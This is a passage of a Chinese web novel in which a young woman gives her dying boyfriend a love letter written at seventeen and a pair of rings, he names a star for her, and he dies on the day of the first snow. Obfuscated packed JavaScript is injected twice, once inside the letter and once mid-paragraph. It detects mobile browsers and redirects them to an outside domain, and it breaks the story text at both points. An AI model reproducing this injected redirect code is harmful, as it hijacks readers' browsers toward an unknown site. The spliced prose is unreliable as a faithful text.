林桑坐在病床前,和沈听原分享着最近遇上的事,瞥到她放在一旁的东西,沈听原探头问:“那是什么?” “哦,这个啊。”林桑说着拿起传单递给他,“刚在路上的时候一个小姑娘给我的,打算扔了来着,我给忘了。” 沈听原伸手接过,上面有很多婚戒图片,款式各不相同。 他视线在上面梭巡一圈,最后在某个地方定住。 林桑将一切尽收眼底,没说话。 他安静地盯着那组婚戒看,她安静地盯着他看。 出门吃晚饭的时候,林桑去附近便利店买了一卷小小的皮尺。 晚上趁沈听原睡着后,林桑四处看了看,从兜里摸出皮尺,小心翼翼地拉出一截绕在他的无名指上。 还没量出来,沈听原动了动,吓得她立马坐直。 过了几秒,确认他睡熟后,她又重新凑了上去。 怕会弄醒他,她愣是花了十多分钟才将数据记下来。 解决心头大患后,林桑才从一旁拿起手机解锁,对着传单拍了一张,点开某个聊天框,将图片和数据一起打包发了过去。 * 十月下旬,北城的天渐渐冷了,路面上刚扫过的落叶,片刻后又铺了满地,被冷风卷着往不同的方向去。 沈听原最近状态不错,林桑帮他穿上外套戴好帽子和口罩后,推着他下楼晒太阳。 住了将近一个月的院,他瘦了一大圈,过去坚实有力,她一只手压根握不过来的手腕,如今瘦到只剩皮包骨,她一把就能握住。正常的行走对他来说也变得异常艰难,每次出门都只能借助轮椅,偶尔才能走一段路。 谁会忍心眼睁睁看着一个鲜活的人丧失曾经的意气风发呢。 又怎能忍住不心疼呢。 林桑垂眼看着沈听原,一想到记忆中那个意气风发的他都快被如今的他抹去,酸意几乎贯穿全身。 将轮椅停稳后,林桑努力将情绪都隐藏后才坐在一旁花坛边,她捧着他的手,倏地有些担心,当初给出去的数据,会不会偏大。 但她特意嘱咐了赶时间,付了双倍的钱,东西马上就能取了,现在再改也来不及。 她愣神之际,沈听原倾身过来,靠在她身上,反握住她的手。 “小乖。” 林桑:“嗯?” 沈听原:“杏叶黄了吗。” 前方枯黄的梧桐叶被风卷起,在地面上形成一个旋,不停打转,随后被风带到脚边,停留几秒后又往别处去。 匆忙,短暂。 她看了一会儿,默了一瞬道:“现在落叶这么多,快了吧。” “我改天去看。” 沈听原指腹在她手背上摩挲着,轻声道:“好。” 林桑在说话的空挡伸手往放在一侧的包里摸了摸,在沈听原话音落下时,摸出一个四方的黑色小盒子递了过去。 沈听原垂下眼,看清她手里的东西后,笑了一下,“怎么想起买这个?” 林桑没答,而是开口道:“拆开看看。” 沈听原点头应了一声,之后便开始了动作。 盒盖揭开,最新映入眼帘的是写在纯黑纸面上的金色小字,字迹工整熟悉—— “说不完的话,我们用享受到白头的过程慢慢诉说。” “留住我的从来不是巧克力。” “而是你。” 沈听原默声看了一会儿才抬眼看向她,林桑莞尔一笑,温声道:“回应。” 短短两个字。 沈听原却知道这意味着什么。 他在她高考前让侯云景帮忙送过去的巧克力里,算是夹带了私货。 那盒一纸花约的巧克力,是十六种语言“我爱你”系列。 他没刻意说明,她却能会意。 他们,自始至终都能懂得对方那些暗藏的表白。 沈听原笑着掀起纸片一角,底下码放着的黑色四方小盒子上,印有不同的情话,再往上掀一点,出现了白色的一角。 那是一封信。 林桑抿了抿唇道:“打开看看?” 沈听原闻言,将信封抽了出来。 白色的信封里,是一张橙黄色的信纸。 沈听原看着上面的内容,眸中笑意越来越深,雾气也越来越浓。 “沈同学,你好! 蓦然收到一封信,你或许会感到奇怪,感到莫名。 如果这封信有幸被你拆开,如果你愿意给我一点时间。 接下来,我会向你娓娓道来,你收到这封来信的原因。 我们的初见,是在2013年一个很普通的秋日早晨,早晨的光芒总是很耀眼,可那天你站在夺目的光线下,我竟觉它远不及你半分耀眼。那一刻,除了你,我眼里好像再难容下其他东西。 所以,我选择了橙黄色的信纸,因为与我而言,初恋有颜色的话,一定是它。 我并不觉得这一眼足以让我喜欢上你,可事实是,那之后我会关注和你相关的一切,甚至,不用你本人出现,只是有人提及你的名字,就足以让我乱了阵脚。 很久之后,我才意识到这是喜欢。 看到这,你是不是会更加莫名,为什么一个和你从未有过交集的人会喜欢你。 在我看来,从未有过交集的我们,是两条同行的平行线,不会相交,却始终能看到对方。 因此,我知道你经常乐于助人,经常去巷角喂流浪猫,经常明知会背上处分也要为朋友撑腰。我熟悉你每一次考试的成绩,熟悉你的每一场进步,熟悉你日渐挺阔的背影,熟悉你脚踩的所有鞋子,熟悉你喜欢的歌和饮料,熟悉你热爱的动漫和游戏,熟悉你获得过的所有奖项。 我不否认,最初会关注到你,是因为你出众吸睛的长相,但长相不是能让喜欢持之以恒的东西,你真正吸引我的,是你身上洒脱不羁,细腻体贴的特质。 只可惜,始终能看到对方并不能让人产生深刻的记忆,我记得你,你未必记得我。 又或许,你也曾在某个时刻听说过我。 没有的话,也没关系。 林桑,我叫林桑。 是你众多校友中的一员,也是你众多爱慕者中的一员。 热闹燥热的六月,2018年的高考已然结束。 所以,我想写封信给你。 这其实不是我给你写的第一封信,我在脑海里编排过无数封信,多到我自己也记不太清,只知道,这封信会是第一封以书信形式出现在你眼前的信。 为何以前只敢在心里偷偷给你写信,如今却提笔写下这封信呢。 因为,我想勇敢一次。 想大胆地将过去千方百计隐藏的喜欢告知与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14803813|157949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你,让你知道,一直有个人在默默喜欢你,比起上面熟悉的那些,我更想熟悉你的正脸,熟悉你随时变换的口头禅和口味,熟悉你对未来的规划。 我应该,不对,是我一定在你的好友列表里。 所以,如果你愿意给我一个机会,请给我回信。 多有打扰,见谅。” 右下角落款: 17岁的林桑 写于2018年6月 沈听原低垂着头,因为戴了帽子和口罩,林桑看不到他的神情。 只知道,那张信纸正迎接着一场久久不息的暴雨。 沈听原发颤的双手捏在信纸边缘,手背上青筋暴起,骨节用力到泛白,肩膀律动的幅度渐渐加深。 林桑微微叹了一声,抬手附在他手背上,轻声道:“沈听原,我把这封准备给你写的第一封信写出来,是想让你开心的。” 沈听原吸了吸鼻子,偏头看着她,发自内心地道:“开心啊,我很开心。” 不论是十九岁,还是二十岁,他都会收到林桑的来信。 又或者说,这不是信,是一封情书。 怎么会不开心呢。 沈听原用空闲的那只手摸出手机,微微侧过身,避开林桑,单手在屏幕上打起了字。 猜到了他想做什么,林桑将视线挪向远处,安静等待。 过了一会儿,林桑包里的手机震了震,一条Q/Q新消息提示弹了出来。 【Banana:林同学,你好!很高兴能收到你的来信。你说得对,我们是两条始终能看到彼此的平行线,所以,我也熟悉你的背影,熟悉你每一次考试的成绩,因为那是我前进的动力。我也想熟悉你的未来规划,熟悉你的口味和习惯。如果你愿意的话,我们约个时间和地点见一面,剩下的话,我想当面诉说。你意下如何?期盼你的回复!——19岁的沈听原】 【Banana:亲爱的小乖。此刻的我,收到了你迟来的回应,但我知道,你早已在第一时间就给过我回应。那说好了啊,那些说不完的爱,我们以后慢慢说,慢慢用爱将平行线连成圆。我既然留住了你,就会一直陪在你身边,永不食言!——20岁的沈听原】 林桑看着屏幕上的两条消息,一时间泣不成声,沈听原慌乱地抬手替她擦去泪水,“我回信也是想让你开心来着。” “弄巧成拙了。” 林桑随手揉了揉眼睛,破涕为笑,“沈听原,我很开心。” “开心的时候不应该落泪的,我们都不要落泪了,好不好。” 沈听原轻微点了下头,含着泪笑道:“好。” “……” 距离他们两米远的地方,坐了一个五六十岁的大爷,大爷身侧放了一个黑色的小收音机,清脆激昂的戏曲如清泉般缓缓从中流出。 林桑含着甜腻的巧克力,跟着哼了两声,沈听原道:“说起来,除了生日歌,我都没听你唱过其他歌。” 林桑:“想听吗?” 沈听原点点头:“想。” 林桑:“想听什么?” 沈听原:“你想唱什么就什么吧,我不挑。” 林桑清了清嗓子,低下头,用只有他们能听到的声音唱了一首歌。 唱完,她看着他们十指紧扣的手问他:“你知道我唱的是什么歌吗?” 沈听原:“歌词是听不懂,但里面有一句我认识。” “不要怕?” 林桑低低嗯了一声道:“对,不要怕。” 沈听原微仰起头,抬眼看着空中刺目的太阳,阖上眼。 几秒后,他笑着应:“好。” 他话音落下时,大爷的戏曲播完了,插进来一条天气预报。 “据气象台预测,我市将于11月7日迎来初雪,这将是……” “啪”的一声,大爷抬手将天气预报给切了,戏曲重新响了起来。 林桑往那头看了一眼,大爷翘着二郎腿,指尖跟随着戏曲的节奏在腿上一下一下地点着,分外悠闲。 她收回眼,“还有半个多月,比去年的初雪早了不少。” “到时候,我们一起看初雪,我给你堆个雪人。” 沈听原笑:“我记得,北城的初雪不大,能堆雪人?” 林桑:“我先给你堆个巴掌大的呗。” “等初雪过了一段时间下的雪就能堆大雪人了。” “说起来,我还是来了这才知道,原来真有地方下雪能下到把我脚都给盖住。” 沈听原头往后仰,一双黑眸夹在帽檐和口罩之间,看向她时,眼波流转,尽是柔情。 “行,我等你给我堆个大雪人。” 林桑突然开始期待那一天尽快到来。 因为。 他们即将迎来—— 有雪的第一个冬天。 34.第 34 章 几天后,林桑早上起床时收到了可以过去取戒指的消息。 今天周五,课不多,早上两节,下午就一节,上完课后她就收拾东西去了戒指店。 取完戒指出来等车的时候,一阵风卷过,路边落了不少银杏叶,她缓缓抬起眼,金色的树叶在阳光下摇晃。 原来,杏叶已经黄了。 车还没来,林桑在包里翻了翻,没找到合适的袋子什么的,索性蹲下身将形状和颜色上好的银杏叶捡起放进大衣口袋里。 快到住院部楼下时,林桑在楼梯口一侧的长椅上撞见了侯云景和一个女人。 侯云景低垂着头坐在长椅上,那个女人站在他身前,低头看着他。 女人短发,穿一身黑,戴了一顶深蓝色鸭舌帽,一小截纹身堪堪从袖口露出来。 “听说你弟现在情况不太乐观,你状态也不好,我过来看看。” 女人话音刚落,侯云景带哑的嗓音响起:“有意思吗?” “辛礼,五年了,你对我还是只有怜悯,没有爱。” “我不需要你的同情。” “谢谢,你走吧。” “……” 女人沉默半晌后转身准备离开,手腕被侯云景一把握住。 一旁电梯开了,传来脚步声和小孩的叫喊声,林桑这才后知后觉自己竟停在原地看了很长时间。 想到沈听原之前说过的话,这对他们来说,或许是个不错的重归于好的机会,怕一会儿被发现后打断他们,林桑连忙收回眼,电梯刚上去没多久,沈听原住的楼层不高,她索性走了楼梯。 快到病房门口时,林桑才放慢了脚步,不知是不是心虚,她上楼的时候一直感到内心慌乱不安。 林桑在过道里缓了缓才推开病房门进去。 一抬眼,见到在病床上坐着的沈听原,林桑整个人都愣住了。 沈听原靠在床头,病号服外套了一件白色卫衣,手里捧了一大束用银杏叶做的玫瑰花。 令她惊讶到脚步停住的不是这些,而是他的头发。 昨晚她离开前还是纯黑的头发,如今变成了一头银发。 沈听原垂眼整理着手里的花,听到动静,他抬眼看了过来。 “花我做好了,快过来看看是不是这样。” 林桑眼眶酸涩,嘴唇翕动,哽咽道:“好。” 她一步一步往病床走,每一步都走得很沉重。 林桑在床边坐下后,沈听原双手捧起手里的花递给她。 “小乖,杏叶黄了吗。” 林桑默了一瞬,迟缓地抬起手接过,颤声道:“沈听原,杏叶黄了。” “早黄了。” “是我太迟钝,一直没发现。” 沈听原轻笑:“什么时候发现都不晚。” 林桑眼里噙着泪水,低头看着手里金黄色的玫瑰花。 病房里陷入寂静,只剩下氧气湿化瓶和心电监护仪发出的声音。 静默许久,林桑将花放到一旁,盯着他的头发看。 沈听原抬手摸了摸,“怎么了?” 林桑:“你现在,能染头发?” 沈听原揪了一根下来说:“假发,你看这发质,哪比得上我的。” 林桑接过看了看,还真是假发。 她扯了张纸巾将那根假发放上去,起身去洗了个手,擦干后从果盘里拿了一个橙子出来开始剥。 两人一人分了一半,吃完后,沈听原伸手想去扯纸巾擦手,被林桑抢了先。 沈听原只用了右手,擦完后,林桑坚持要两只手都擦过才算干净,沈听原也由着她,伸手让她擦。 林桑捧着他的手,将每一个手指都擦了一遍。 他的手本就骨节分明,如今已经没什么肉,瘦到能清晰地看出他指骨的形状。 林桑握着他的手腕,伸手在兜里摸了摸,将东西往他无名指上套。 起初沈听原没反应过来,很顺畅。 套到一半时,沈听原猛地用力将指节压了下去,握拳止住了她接下来的动作。 沈听原眼眶促狭变得通红,泪眼朦胧,微微张着嘴,看着她直摇头。 林桑眼睛重新染上水雾,眼前的画面逐渐变得模糊,她用力掰着他的手指,“沈听原,你松手!” 白色的被子湿了一块又一块,分不清究竟是谁的泪水。 沈听原摇着头,话音里带了祈求。 “金金,别这样。” “别这样……” “算我求你……” “你……别这样……” “求你了……” 林桑抬起一只手,用衣袖将遮挡视线的泪水全都抹去,语气里带了从未有过的强硬。 “沈听原,你把手松开。” “你那天不是问我,要给你什么奖励吗,这就是我的答案。” “你说过的,一直陪伴我的一定是你,难道你要反悔吗?” 沈听原双手不停颤抖着,却始终没松开半分,似乎还握得更紧了些。 林桑只能使出杀手锏。 “沈听原,我再说一遍,你把手松开。” “不然我现在就走,再也不会来见你。” 沈听原浑身都在颤抖着,良久后,他似是妥协一般,缓缓将手打开。 林桑反应很快,在他伸开手的瞬间,直接将那枚银色素圈推到底。 戒指稍微大了一些,林桑看了一会儿,抬手擦了擦脸,理了理头发,从包里摸出女戒坐正。 “现在是2019年10月27日,日历上说,今天宜结婚。” “沈听原,我现在,很郑重地问你。” “你愿不愿意跟我结婚,没有证婚人,没有亲朋好友,没有任何仪式,只有这对戒指。” 他湿润的双眼看着她,眉心紧蹙,双唇微张,像是想要说点什么,却又说不出口。 林桑没等他开口,又继续道:“你要是不愿意也没用,男戒我已经给你戴上了,女戒我也能自己……” 最后一个字还没说出口,手下一空,戒指已经被他捏在指尖。 林桑顿了一下,朝他伸出手。 沈听原深吸了几口气,动作迟缓地握住她的手腕,将那枚带钻的戒指套在她白皙的无名指上,一点一点,认真地往里推。 戒指在指根套稳时,一滴晶莹的泪水缓缓落在钻石上,像是新郎在为新娘戴上戒指后,落下虔诚真挚的一吻。 林桑满意地看着手上的戒指,从一旁拿起手机解锁,抓着沈听原的手,连续拍了几张照片。 拍完后,她将手机随手放下,抬手将头发全都拢到脑后,拉起卫衣帽子戴上。 她身上的卫衣和沈听原的一模一样,纯白,胸前有个小小的太阳图案,是她有天路过一家店的时候买的。 林桑将前面的绳打了个结,拿起手机看了一眼,确保没露出头发,头上只剩下白色的卫衣帽子后,她起身坐到床边,往沈听原身侧靠了靠,翻转镜头,又拍了几张照片。 沈听原一直没说话,安静地看着她,安静地配合她。 林桑拍完照片打开相册和他一起查看,她无意间扭头想要看他的反应,他们本就并肩坐着,因为她的动作,两唇之间只剩下一指的距离。 呼吸声和心跳声被无限放大。 沈听原视线落在她红润的唇上,在林桑即将进行下一个动作前别开了脸。 他喉结轻滚几下,咳了两声道:“金金,帮我倒杯水,嗓子有点干。” 林桑愣了半晌才手忙脚乱地收了手机起身帮他倒水。 林桑等他喝完水后才重新坐了回去,轻轻握住他的手。 他们都很默契地不谈方才的事。 病房内又变得寂静,不知是因为此刻他们的关系有了些许变化还是因为什么,林桑总觉得空气中流窜着几分有些难言的怪异感。 她不自在地抬头往四处看了看,又忍不住低下头看向他们手上的戒指,时不时偷偷看一眼沈听原。 她只要一抬眼,就会被盯着她的沈听原抓个正着。 两人默契地不说话,相视一笑后同频撇开脸。 他们就这么不厌其烦地重复着,那一瞬间,宁静而美好,不夹杂世间任何污浊。 过了许久,想到什么,林桑伸手在包里摸了摸,将包里的银杏叶都取了出来放在桌上。 放好后,林桑抓住沈听原的手,轻笑着道:“这会儿也没什么事做,你教教我怎么做花吧。” 沈听原垂眼盯着交叠在一起的戒指看了两秒,扯出一抹笑,“好。” 门外。 花了一个多月时间总算交接完所有工作赶回国陪儿子的瞿利安目睹完全程后,缓缓松开了放在门把手上的手,抬起轻拭眼角的泪。 见到从电梯出来的侯云景,他轻声示意他别出声。 侯云景脚步放缓,靠近后,朝里面瞥了一眼,没说话。 瞿利安轻轻拍了下他的肩轻声道:“走吧,下楼待会儿。” …… 瞿利安刚赶回国,一路舟车劳顿,加上最近都没好好休息过,他进病房和林桑打了个招呼,陪沈听原待了一会儿后就被侯云景送去附近的酒店休息。 明天周末,林桑没回学校,留在医院和侯云景一起陪床。 沈听原最近情况越来越差,时而呼吸短促,时而剧烈咳嗽,经常在双重折磨下陷入短暂的窒息,进急诊室的次数也越来越频繁。 林桑手脚冰凉地坐在急诊室外,已经记不起这是今晚第几次坐在这个位置上,连最初的紧张和心慌也逐渐感受不到了。 好不容易在鬼门关走了一遭又一遭回到病房得以睡下,到了后半夜,沈听原开始高烧不断,浑身上下都不停地冒着汗,像是淋了一场大雨一般。 他之前一直没出现过这种情况,林桑慌乱地起身扯了纸巾帮他擦汗。 纸巾一秒全湿透,顾得了这头顾不了那头。 侯云景在过道里补觉,林桑束手无策,只能出门喊他帮忙。 两人一起配合着,却还是抵不过汗水沁出的速度。 沈听原额头和脸颊上的汗像流水一般,林桑方才只顾着帮他擦流下来的汗水,这会儿才意识到他头上戴了假发,下面不知积了多少汗。 她一把将假发扯下,耳边似是响起了一道刺耳的声音,她什么都听不见,也说不出话。 只能僵硬地维持着原来的动作。 侯云景见状,顿了一瞬,知道再也瞒不住,他疲惫地开口道:“他最近一到晚上就开始发烧,隔一两个小时就烧一次。” “洗不了头,没办法,只能全部剃了。” 眼里的泪水和他身上的汗同频往外流。 林桑随手将假发放到一旁,连忙颤着手继续帮他擦汗。 …… 三天后,林桑上完课还没到楼下就发现了一个熟悉的身影,她怔了一下,和舍友打了个招呼就急匆匆往那道身影所在的方向跑。 “你过来接我下课呀。” 沈听原黑眸里漾着笑意,任由她给自己整理围巾,低声道:“嗯,怕三岁小孩找不到路。” 林桑闻言,帮他弄好围巾后,趁机在他脸上戳了一下,笑着说:“我三岁,那你两岁,姐姐带你去吃饭。” 沈听原也不恼,只看着她的眼睛,无奈地笑了一下,“行,听姐姐的。” 这个称呼虽是她先提出来的,但自己说起来不觉得有什么,从他嘴里说出来就莫名染上了一股难言的羞耻感。 林桑一时间脸热。 她挪开眼,偷偷笑了一下,努力维持着自然,随口应了一声就推着沈听原往食堂的方向走。 吃过饭后,林桑看着远处说:“最近杏叶黄了不少,我们去看看吧。” 沈听原轻声应:“好。” 似是想到什么,他顿了顿,往后仰看着林桑道:“这次还能牵手吗?” 林桑垂眼看着他,笑而不语。 沈听原眼珠转了转,有些懊恼地说:“那我想想这次要用什么理由。” 林桑笑了一声,弯腰牵住他的手说:“牵手哪用找理由。” 沈听原没说话,也跟着她笑。 只是,握着她的手,不自觉紧了几分。 冷风轻轻拂过金黄的树叶,在晃动的光影中卷起一丝秋悄悄溜走。 昭示着,他们期待的初冬,很快就要降临了。 从银杏林出来后,两人在学校里转了一圈,等转完从学校出来准备回医院时,整座北城已被漫天夜色侵蚀,皎白的月亮旁,繁星一闪一闪,努力让自己在夜空中不显暗淡。 侯云景在前面开车,林桑和沈听原并排坐在后座上,沈听原刚吃过药,这会儿正靠在她肩上睡觉,林桑则低头看着班群里的通知。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14807376|157949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 在群里回复完消息后,林桑收了手机抬眼,发现窗外飞速划过的画面有些陌生。 这不是去医院的路。 她有些奇怪,以为眼花了探头想好好确认一番,肩上的人像是察觉到了,沈听原动了动说:“先不回医院,带你去个地方。” 林桑没问去哪,轻声道:“好。” “……” 约莫一个多小时后,车在一处山顶观景台停稳,侯云景去停车,沈听原则被一个工作人员带走了,他神神秘秘的,临走前只让她放心等他出来。 林桑独自坐在休息室,捧着一杯温水喝着,不知过了多久,门口响起熟悉的声音。 “林桑。” 林桑在那道声音响起的瞬间抬头,朝门口看了过去,一对上沈听原,她整个人都愣住了。 沈听原换了一身澄黑西装,不知是换了顶假发还是将之前戴的假发重新打理过,原本垂在眼前的银色碎发被悉数拢在脑后,露出饱满光洁的额头,让他整个人都精神不少,视线再往下,他手里捧了一束花,盛放的红玫瑰裹在层叠的白纱中,娇艳欲滴。 门口的光线不甚明亮,但林桑还是能直观地感受到,这样的他,病弱中带了几分成熟干练,裹挟着一股让人触之不及的矜贵感,但因为戴了黑色半框眼镜,又略显温和。 工作人员很快离开,给他们留下充足的空间独处。 林桑起身走到他身前蹲下,仰头盯着他看了须臾,笑道:“突然穿这么帅干嘛。” 沈听原将玫瑰递给她,卖关子道:“秘密。” 林桑接过花,低头闻了闻说:“你今天怎么这么多秘密,那刚刚突然叫我名字,不会也是藏了秘密吧?” “这倒没有,”沈听原笑着说,“就是想起好长时间没好好叫过你的名字,心血来潮想叫叫。” 说完,他又道:“不习惯吗?” 林桑点点头道:“有点,总感觉显得生疏。” 沈听原揉了揉她的头说:“你也知道直接喊名字生疏啊,那还成天喊我大名。” “不考虑换个特别点的?” 林桑有些惆怅地说:“可我想不到。” 沈听原轻笑道:“不急,慢慢想,想到了再换。” “我能等。” 林桑:“好。” “……” 两人在休息室待了一会儿后林桑才推着沈听原出了休息室,在工作人员的带领下一路乘电梯来到一个独立的眺望台。 十月末,山顶的风呼啸不停,周边树影晃动,卷起阵阵寒意,如墨的夜空下,远处交错的万盏灯火像一条蜿蜒闪耀的银河,格外吸睛。 沈听原手里拿了个文件袋一样的东西,眺望台有个天文望远镜,林桑大概猜到了他想做什么,但没表现出来,只静默地看着北城的夜景。 身边传来窸窸窣窣的动静,过了一会儿,沈听原略哑的嗓音响起,“小乖,凑过来点。” 林桑偏头,视线下移,落在沈听原的手机屏幕上。 屏幕上有一个小箭头停留在狮子座的位置,沈听原双指将页面一点一点放大,其中一颗星星被圈了出来。 沈听原指尖在屏幕上的小指向标上点了点,“跟着它,看天上。” 林桑仰头看了一会儿,虽然方向是对的,但繁星密布,她不确定是哪一颗。 这时,沈听原将万向操作杆往前推,轮椅缓缓滑至望远镜前,他调了下望远镜,示意林桑用望远镜看那颗星星。 闪烁的星星被望远镜精准捕捉,饶是它周边的星星再闪再亮,皆难入林桑的眼睛。 林桑久违地想起了和沈听原的第一次见面,那时也是这般,入目皆是他,之后他便成了她心底特殊的存在。 林桑眼眶湿热,扭头看着他道:“怎么想起买这个?” 沈听原拇指指腹轻轻转动着无名指上的戒指,闻言抬眼看着她,握住她的手说:“新婚得有礼物。” 林桑眼睫颤了颤,打破砂锅问到底,“那么多能送的东西,为什么选这个?” 沈听原捏了捏她的指尖,笑了一下才道:“因为我家小乖遇到的都是对她很好很好的人,我不能拖后腿。” “想把这世上最好的都给你,想给你摘星星摘月亮。” 林桑蹲下身,趴在他膝盖上抬眼看他,“那你给它取了什么名字啊?” 沈听原下巴朝放在腿间的文件袋一扬道:“自己看看?” 林桑以为文件袋里顶多就一份授权书,打开才发现里面的东西还挺多,星空图集和确认函之类的,她翻了翻,在翻到授权书时才停下动作。 星名:响铃声 星座:Leo 日期:2019年10月27日 编号:900013324 赤经 (RA)和赤纬 (DEC): 10h 18m 16.91s 26°6''22.25“ 林桑眼眶湿热,视线在授权书上停留了许久后,她才颤着声一字一顿念道:“响、铃、声。” 随后,她像是十万个为什么化身,又问道:“为什么起这个名字啊?” 沈听原向来有十足的耐心,抬手在她鼻子上轻轻刮了一下才解答,“我不可能每时每刻都陪在你身边,以后它闪一下,就说明——” 他顿了顿,轻咳几声才缓缓补上最后一句,“我在想你。” 它闪一下,就是我在想你。 这样,我也能陪你。 很久,很久。 腿上一股凉意涌了上来,沈听原慌乱地替林桑拭去泪水,有些自责道:“我最近老是让你哭。” “明明想让你高兴的。” 林桑破涕为笑,“我这叫喜极而泣,才没有不高兴。” 沈听原紧绷的面色缓和几分,捧着她的脸问,“那你喜不喜欢这个礼物?” 林桑眨眨眼,“喜欢呀,当然喜欢。” “不过,对我来说,你陪在身边,才是最好的礼物。” “我要你每天在我身边亲口说想我,才不要每天在那么多星星中找半天来判断你今天有没有想我。” “那多累啊。” 沈听原视线落在远处,又匆匆收回,掩去满眼的惆怅,一下一下轻抚着林桑的头发,“好,不会让你累的。” “以后都亲口说。” “……” 35.第 35 章 后面几天,沈听原白天也开始反反复复发高烧。 他没有胃口,吃不下任何东西,只偶尔口干舌燥时喝两口水,以比以往还要快的速度消瘦下去,清醒的时刻也越来越少。 甚至,大多数时候只能通过声音来认人。 病危通知书下了三次,林桑没再回学校,直接请了一周假。 林桑几乎一天到晚都守在他身边,只要发现沈听原开始不清醒,就在他身边一遍一遍叫他的名字。 短短几天的时间,每天都度日如年。 林桑甚至不知道日历翻到了哪一页。 直到这天,沈听原总算退烧安稳睡下,侯云景进来换了班让她去休息。 她没睡意,就算能睡,也睡不安稳,索性拿上水壶去打热水。 出了病房,一股凛冽的寒风袭来,寒气像是钻进了骨头里,冻得她忍不住哆嗦了一下。 林桑抬眼往外一看,外面已经白茫茫一片,天空中飘着鹅毛般的雪。 11月7号。 北城迎来初雪。 原来,她期待的日子,这么快就来了。 原本,这一天的他们应该是很快乐的。 她推着他下楼,他们一起看第一场雪,她给他堆一个小雪人。 多么简单的事,如今成了一种奢望。 林桑眼眶生疼,她现在已经哭不出来了。 就连哭,对她来说也变成了一种奢望。 …… 林桑打完热水回去时,沈听原又开始发烧,汗水源源不断地往外冒。 汗水勉强止住后,护士例行进来量体温。 起初量了几次都没量出结果,一群人心几乎提到了嗓子眼。 好在又试了一次总算量出结果,有点低烧。 林桑无力地靠在墙上,缓缓吐了一口气,悬着的心总算放下。 一个多小时后,林桑趴在床边,察觉到握着的手动了动,她立马惊醒。 沈听原嘴唇嚅嗫不知在说什么,林桑凑近了一些。 听到他在轻声唤着她。 “金金……” 林桑紧紧握住他的手,“我在呢。” 沈听原薄薄的眼皮轻轻动了几下,他费力地睁开眼睛看她。 那双总是清亮带笑的眼睛,此刻变得浑浊不堪。 林桑忍下哭腔,握着他的手放到脸上,“沈听原,我在呢。” 沈听原指腹在她脸颊上轻轻摩挲着,慢慢地移到五官,再到轮廓,像雕刻师精心打造作品一般,每一寸都细致到了极致。 好半晌,他才再度开口,嗓音沙哑得不行,“今天几号了?” 林桑:“11月7号。” 沈听原似是在思考着什么,停了许久才又道:“7号啊……” “初雪来了吗?” 林桑努力稳住声线:“来了。” 沈听原勉强笑了一下,“你不是……要给我……堆个小雪人吗,现在去……好不好,我……我想看。” 林桑吸了吸鼻子,颤着声应:“好。” “我很快的,你乖乖等我。” 他低声应:“好。” 虽然最近气温很低,但为了以防万一,林桑还是拿了个保温饭盒下楼。 不敢耽误太久,她没跑太远,就在楼下将厚一点的雪都收集起来,在保温饭盒里堆了一个小小的雪人。 不知是冷还是怎么,她浑身像是有电流穿过,一直在微微发抖,捧着雪的双手更是抖到抑制不住,掐了好几次都没用。 等做完一看,哪里像个雪人,完全就是堆了一大坨雪在保温饭盒里。 林桑也顾不上多想,盖上盖子就往电梯走。 她没赶上最近一趟电梯,只能眼睁睁看着电梯门关上开始上行。 林桑也没等,抬脚往楼梯走,怕会将那个雪人晃得更像随意抓了一把雪,她不敢跑,只能捧着饭盒一步一步往上爬。 走了不到一半,林桑感到楼上传来一阵凌乱的脚步声,还有轮子划过的声音和叫喊声。 隐隐之中,她似是听到了瞿利安和侯云景的声音。 林桑顿了一下,发了疯地往病房跑。 她卖力迈出的步伐在看到大开的病房门时停住。 屋内空无一人。 “咚”的一声,手里的保温饭盒落在地面上。 盖子被弹飞,里面的雪人也四分五裂。 林桑转身往抢救室的方向跑,一路上都在劝自己。 不会的。 不会有事的…… 林桑赶到抢救室时,门外只有瞿利安一个人,像是失了魂一般,佝偻着背,掩面坐在椅子上。 林桑放轻了脚步,眼睛一瞬不眨地盯着抢救室紧闭的门和熄灭的灯,浑身冰凉。 察觉到动静,瞿利安转头看了过来。 他顿了一下,拍了拍身侧的座椅,示意林桑坐。 林桑呼吸逐渐急促起来,眼里续满泪水,耳边只剩下剧烈的心跳声。 她动作僵硬地走到瞿利安身侧坐下。 良久,瞿利安才开口。 “你前脚刚走,他就突发状况,医生说他求生意识很强,可能是想等你,但……” “没撑住。” 轰隆—— 空中像是响起了一道惊雷,林桑不自觉抖了一下,心里那道一直以来替她抵挡负面情绪的围墙就这样被击倒。 饶是一切早有预兆,心里早有准备,真到了分别这一刻,她还是无法承受。 因为。 这是一场,永无重逢之日的分别。 她缓缓倾下身,脸埋在腿间,泪水如暴雨一般,模糊了整张脸,砸在地面上,藏进衣服里。 她想要说点什么,可喉咙似是被人用绳子死死缠住了一般,怎么都发不出声来。 他才二十岁。 二十岁。 在这个鲜活的年纪,他该待在教室,待在球场,待在演讲台…… 做那如风一般肆意洒脱的少年。 而不是像现在这般。 待在冰冷的太平间里。 多讽刺啊。 她期待的日子。 成了他的忌日。 * 林桑睁开眼时,入目是一片白。 她哭到昏厥,都没来得及见他一面就躺进了病房里。 见她醒了,侯云景捏了捏眉心,嗓音干哑疲惫。 “你……要去见他最后一面吗?” 说来可笑,她日夜陪伴着他,却连最后一面都没能赶上。 泪水划过眼角,落入发间,凉意一下一下刺激着林桑的神经。 